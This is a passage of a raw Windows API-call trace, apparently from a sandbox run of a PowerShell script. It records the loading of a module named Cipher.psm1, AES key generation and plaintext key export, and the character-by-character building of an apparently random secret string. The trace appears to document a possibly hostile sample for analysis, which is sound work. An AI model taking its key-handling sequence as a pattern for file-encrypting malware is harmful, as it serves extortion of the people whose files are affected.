lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.783] GetConsoleOutputCP () returned 0x1b5 [0132.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.784] GetConsoleOutputCP () returned 0x1b5 [0132.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.784] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0132.785] GetConsoleOutputCP () returned 0x1b5 [0132.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0132.785] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0132.785] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bd3e5c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6bd3e5c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0132.786] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0132.790] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0132.795] GetConsoleOutputCP () returned 0x1b5 [0132.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0132.795] GetConsoleOutputCP () returned 0x1b5 [0132.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0132.796] GetConsoleOutputCP () returned 0x1b5 [0132.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.796] GetConsoleOutputCP () returned 0x1b5 [0132.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.797] GetConsoleOutputCP () returned 0x1b5 [0132.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0132.797] GetConsoleOutputCP () returned 0x1b5 [0132.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0132.797] GetConsoleOutputCP () returned 0x1b5 [0132.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.798] GetConsoleOutputCP () returned 0x1b5 [0132.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.798] GetConsoleOutputCP () returned 0x1b5 [0132.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0132.799] GetConsoleOutputCP () returned 0x1b5 [0132.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0132.799] GetConsoleOutputCP () returned 0x1b5 [0132.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.799] GetConsoleOutputCP () returned 0x1b5 [0132.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.800] GetConsoleOutputCP () returned 0x1b5 [0132.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0132.800] GetConsoleOutputCP () returned 0x1b5 [0132.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0132.801] GetConsoleOutputCP () returned 0x1b5 [0132.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.801] GetConsoleOutputCP () returned 0x1b5 [0132.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0132.801] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0132.802] GetConsoleOutputCP () returned 0x1b5 [0132.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0132.802] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0132.803] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bd5bf8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6bd5bf8*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0132.803] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0132.804] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0132.808] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.808] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.808] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.808] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0132.808] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.808] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.808] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.809] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0132.809] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0132.822] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.822] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x56, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.822] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.823] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396a38) returned 1 [0132.823] CryptGenKey (in: hProv=0x4396a38, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84e38) returned 1 [0132.824] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0132.824] CryptExportKey (in: hKey=0x8e84e38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0132.824] CryptExportKey (in: hKey=0x8e84e38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x691705c, pdwDataLen=0x99ae894 | out: pbData=0x691705c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0132.824] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x6fec\x691\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0132.824] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.824] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x57, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.824] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x58, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.824] SysStringLen (param_1="") returned 0x8 [0132.824] SysStringLen (param_1="f") returned 0x8 [0132.824] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.824] SysStringLen (param_1="\xb4a0\x4bbe\x65ab\x4cb0\x1e2b\xbfd9\x977e\xc358") returned 0x8 [0132.824] SysStringLen (param_1="\xb4a0\x4bbe\x65ab\x4cb0\x1e2b\xbfd9\x977e\xc358") returned 0x8 [0132.825] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.825] SysStringLen (param_1="fn") returned 0x8 [0132.825] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.825] SysStringLen (param_1="\x34b1\xe6aa\x81c9\x9565\x207f\x25f4\xd115\x8648") returned 0x8 [0132.825] SysStringLen (param_1="\x34b1\xe6aa\x81c9\x9565\x207f\x25f4\xd115\x8648") returned 0x8 [0132.825] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.825] SysStringLen (param_1="fnV") returned 0x8 [0132.825] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.825] SysStringLen (param_1="\xad3b\x6b1c\xec59\x2712\x4ee6\x971d\xb095\xa38e") returned 0x8 [0132.825] SysStringLen (param_1="\xad3b\x6b1c\xec59\x2712\x4ee6\x971d\xb095\xa38e") returned 0x8 [0132.825] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.825] SysStringLen (param_1="fnVD") returned 0x8 [0132.825] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.825] SysStringLen (param_1="\xd1f1\xb3ab\x75fe\x2c6b\x697a\x8929\x96a8\xe896") returned 0x8 [0132.825] SysStringLen (param_1="\xd1f1\xb3ab\x75fe\x2c6b\x697a\x8929\x96a8\xe896") returned 0x8 [0132.825] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.825] SysStringLen (param_1="fnVDa") returned 0x8 [0132.825] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.826] SysStringLen (param_1="\x335c\x788c\xdda0\xebae\x9389\xeb6e\xd7db\x7d6d") returned 0x8 [0132.826] SysStringLen (param_1="\x335c\x788c\xdda0\xebae\x9389\xeb6e\xd7db\x7d6d") returned 0x8 [0132.826] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.826] SysStringLen (param_1="fnVDa6") returned 0x8 [0132.826] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.826] SysStringLen (param_1="\x95fb\xab30\xc9f\xb578\x38ac\x3c4f\x3b97\x6bba") returned 0x8 [0132.826] SysStringLen (param_1="\x95fb\xab30\xc9f\xb578\x38ac\x3c4f\x3b97\x6bba") returned 0x8 [0132.826] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.826] SysStringLen (param_1="fnVDa6H") returned 0x8 [0132.826] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.826] SysStringLen (param_1="\x517a\xb90\x14f7\x4c5e\x424b\xca88\xd64c\x6955") returned 0x8 [0132.826] SysStringLen (param_1="\x517a\xb90\x14f7\x4c5e\x424b\xca88\xd64c\x6955") returned 0x8 [0132.826] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.826] SysStringLen (param_1="fnVDa6Hr") returned 0x8 [0132.826] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.826] SysStringLen (param_1="ᄓ㑍业⁗︨㦾轣") returned 0x8 [0132.826] SysStringLen (param_1="ᄓ㑍业⁗︨㦾轣") returned 0x8 [0132.826] SysStringLen (param_1="ᄓ㑍业⁗︨㦾轣") returned 0x8 [0132.827] SysStringLen (param_1="ᄓ㑍业⁗︨㦾轣") returned 0x10 [0132.827] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.827] SysStringLen (param_1="fnVDa6HrL㑧㵒籅뾰") returned 0x10 [0132.827] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.827] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\xb64b\xedc9\x990f\x8475\xc764\x72db\x3f45\xf413") returned 0x10 [0132.827] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\xb64b\xedc9\x990f\x8475\xc764\x72db\x3f45\xf413") returned 0x10 [0132.827] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.827] SysStringLen (param_1="fnVDa6HrLI㵒籅뾰") returned 0x10 [0132.827] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.827] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\xe285\x9b1\x6afd\xf3b6\x2a0e\x3434\xe01a\x571e") returned 0x10 [0132.827] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\xe285\x9b1\x6afd\xf3b6\x2a0e\x3434\xe01a\x571e") returned 0x10 [0132.827] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.827] SysStringLen (param_1="fnVDa6HrLIj籅뾰") returned 0x10 [0132.827] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.827] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\xef8e\xcaf1\xa152\x1f12\x5279\xbe3a\x8527\x626e") returned 0x10 [0132.827] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\xef8e\xcaf1\xa152\x1f12\x5279\xbe3a\x8527\x626e") returned 0x10 [0132.827] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.827] SysStringLen (param_1="fnVDa6HrLIjW籅뾰") returned 0x10 [0132.827] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.828] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x8c86\xc2cd\x0e\x1626\xd7b3\x41ee\x8e89\xd3c0") returned 0x10 [0132.828] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x8c86\xc2cd\x0e\x1626\xd7b3\x41ee\x8e89\xd3c0") returned 0x10 [0132.828] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.828] SysStringLen (param_1="fnVDa6HrLIjWP籅뾰") returned 0x10 [0132.828] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.828] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x7f59\x3f71\xc585\x1a8f\xb263\x73df\x9b70\x2547") returned 0x10 [0132.828] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x7f59\x3f71\xc585\x1a8f\xb263\x73df\x9b70\x2547") returned 0x10 [0132.828] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.828] SysStringLen (param_1="fnVDa6HrLIjWPJ籅뾰") returned 0x10 [0132.828] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.828] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x2aea\x6377\x104d\x8bf0\xbf4e\x13b7\x8bdb\xfeb8") returned 0x10 [0132.828] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x2aea\x6377\x104d\x8bf0\xbf4e\x13b7\x8bdb\xfeb8") returned 0x10 [0132.828] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.828] SysStringLen (param_1="fnVDa6HrLIjWPJw뾰") returned 0x10 [0132.828] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.828] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\xa740\x773a\x84bf\x59d2\xc0fe\x40ef\xcfa5\x9c2d") returned 0x10 [0132.828] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\xa740\x773a\x84bf\x59d2\xc0fe\x40ef\xcfa5\x9c2d") returned 0x10 [0132.828] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.829] SysStringLen (param_1="fnVDa6HrLIjWPJw1") returned 0x10 [0132.829] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.829] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802") returned 0x10 [0132.829] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802") returned 0x10 [0132.829] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802") returned 0x10 [0132.829] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802") returned 0x18 [0132.829] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.829] SysStringLen (param_1="fnVDa6HrLIjWPJw1Xථ顺ᜫ歽욎裑") returned 0x18 [0132.829] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.829] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xc6c5\x2f58\xb5d2\xb5fc\xae24\xe8f0\x9357\xdd13") returned 0x18 [0132.829] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xc6c5\x2f58\xb5d2\xb5fc\xae24\xe8f0\x9357\xdd13") returned 0x18 [0132.829] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.829] SysStringLen (param_1="fnVDa6HrLIjWPJw1Xe顺ᜫ歽욎裑") returned 0x18 [0132.829] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.829] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xd9e8\xe832\x3431\x9c8a\x338a\xb10c\x46fc\x5062") returned 0x18 [0132.829] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\xd9e8\xe832\x3431\x9c8a\x338a\xb10c\x46fc\x5062") returned 0x18 [0132.829] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.829] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLᜫ歽욎裑") returned 0x18 [0132.830] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.830] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\x94d4\xadb7\xe4ee\xa13f\xbf95\x77fe\x3cf\xcd7e") returned 0x18 [0132.830] SysStringLen (param_1="\x1113\x344d\x4e1a\xf372\x2057\xfe28\x39be\x8f63\x446f\xd84\xeb32\xdbf2\xd3eb\x7fe8\x8375\xb802\x94d4\xadb7\xe4ee\xa13f\xbf95\x77fe\x3cf\xcd7e") returned 0x18 [0132.830] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.830] SysStringLen (param_1="fnVDa6HrLIjWPJw1XeLRᜫ歽욎裑") returned 0x18 [0132.830] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.830] SysStringLen 